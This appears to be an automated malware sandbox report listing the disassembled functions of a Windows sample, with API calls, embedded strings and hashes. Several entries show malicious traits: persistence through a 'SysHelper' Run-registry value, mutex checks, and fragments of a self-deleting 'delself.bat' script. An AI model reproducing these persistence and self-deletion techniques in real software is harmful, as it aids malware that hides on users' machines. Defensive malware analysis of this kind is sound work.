Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Uniqueness

Uniqueness Score: -1.00%

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Uniqueness

Uniqueness Score: -1.00%

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

delself.bat, xrefs: 0041261C
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648
del ", xrefs: 00412674
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
" goto try, xrefs: 00412666
@echo off:trydel ", xrefs: 0041262A
D, xrefs: 00412720
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(007D4CE0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

L}, xrefs: 00427B5A, 00427B7E, 00427B90

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: L}
API String ID: 3064303923-2521405716
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----END , xrefs: 0046382F, 00463940, 004639E4
, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 8263a72b855e29a39bdee4ea7f090d0f5430f991cf24ec88085b72484d7b4329
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 8263a72b855e29a39bdee4ea7f090d0f5430f991cf24ec88085b72484d7b4329
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 0cea2679c22e69a6651b2cfa444a0cd29bf08a3a53bd5d8ba21c7187460af639
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0cea2679c22e69a6651b2cfa444a0cd29bf08a3a53bd5d8ba21c7187460af639
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

